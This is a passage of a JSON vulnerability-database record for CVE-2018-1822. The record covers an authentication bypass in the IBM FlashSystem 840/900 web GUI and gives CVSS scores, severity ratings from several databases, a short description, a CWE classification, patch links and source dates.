"scope": "UNCHANGED",
"trust": 2.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2018-1822",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2018-1822",
"trust": 1.8,
"value": "CRITICAL"
},
{
"author": "psirt@us.ibm.com",
"id": "CVE-2018-1822",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "CNNVD",
"id": "CNNVD-201810-1036",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-128757",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2018-1822",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128757"
},
{
"db": "VULMON",
"id": "CVE-2018-1822"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"db": "NVD",
"id": "CVE-2018-1822"
},
{
"db": "NVD",
"id": "CVE-2018-1822"
},
{
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "IBM FlashSystem 900 product GUI allows a specially crafted attack to bypass the authentication requirements of the system, resulting in the ability to remotely change the superuser password. This can be used by an attacker to gain administrative control or to deny service. IBM X-Force ID: 150296. IBM FlashSystem 900 The product contains authentication vulnerabilities. Vendors have confirmed this vulnerability IBM X-Force ID: 150296 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. are all enterprise-level storage solutions of IBM Corporation in the United States. The solution provides a full set of disaster recovery tools (including snapshot, clone and replication) to protect data security and use IBM Virtual Storage Center to realize virtualization configuration and performance management. GUI is one of the Graphical User Interfaces. The following products are affected: IBM FlashSystem 840 MTMs 9840-AE1; FlashSystem 840 MTMs 9843-AE1; FlashSystem 900 MTMs 9840-AE2; FlashSystem 900 MTMs 9840-AE29843-AE2",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-1822"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"db": "VULHUB",
"id": "VHN-128757"
},
{
"db": "VULMON",
"id": "CVE-2018-1822"
}
],
"trust": 1.8
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-1822",
"trust": 2.6
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012594",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201810-1036",
"trust": 0.7
},
{
"db": "VULHUB",
"id": "VHN-128757",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2018-1822",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128757"
},
{
"db": "VULMON",
"id": "CVE-2018-1822"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"db": "NVD",
"id": "CVE-2018-1822"
},
{
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
]
},
"id": "VAR-201810-0672",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-128757"
}
],
"trust": 0.01
},
"last_update_date": "2023-12-18T13:08:16.637000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "0732962",
"trust": 0.8,
"url": "https://www-01.ibm.com/support/docview.wss?uid=ibm10732962"
},
{
"title": "ibm-flashsystem-cve20181822-sec-bypass (150296)",
"trust": 0.8,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/150296"
},
{
"title": "Multiple IBM product GUI Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=86194"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-287",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128757"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"db": "NVD",
"id": "CVE-2018-1822"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.8,
"url": "http://www.ibm.com/support/docview.wss?uid=ibm10732962"
},
{
"trust": 1.8,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/150296"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-1822"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1822"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/287.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128757"
},
{
"db": "VULMON",
"id": "CVE-2018-1822"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"db": "NVD",
"id": "CVE-2018-1822"
},
{
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-128757"
},
{
"db": "VULMON",
"id": "CVE-2018-1822"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"db": "NVD",
"id": "CVE-2018-1822"
},
{
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-10-18T00:00:00",
"db": "VULHUB",
"id": "VHN-128757"
},
{
"date": "2018-10-18T00:00:00",
"db": "VULMON",
"id": "CVE-2018-1822"
},
{
"date": "2019-02-05T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"date": "2018-10-18T15:29:00.573000",
"db": "NVD",
"id": "CVE-2018-1822"
},
{
"date": "2018-10-19T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-10-09T00:00:00",
"db": "VULHUB",
"id": "VHN-128757"
},
{
"date": "2019-10-09T00:00:00",
"db": "VULMON",
"id": "CVE-2018-1822"
},
{
"date": "2019-02-05T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"date": "2019-10-09T23:39:10.087000",
"db": "NVD",
"id": "CVE-2018-1822"
},
{
"date": "2019-10-17T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "IBM FlashSystem 900 Authentication vulnerabilities in products",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-012594"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "authorization issue",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
],
"trust": 0.6
}
}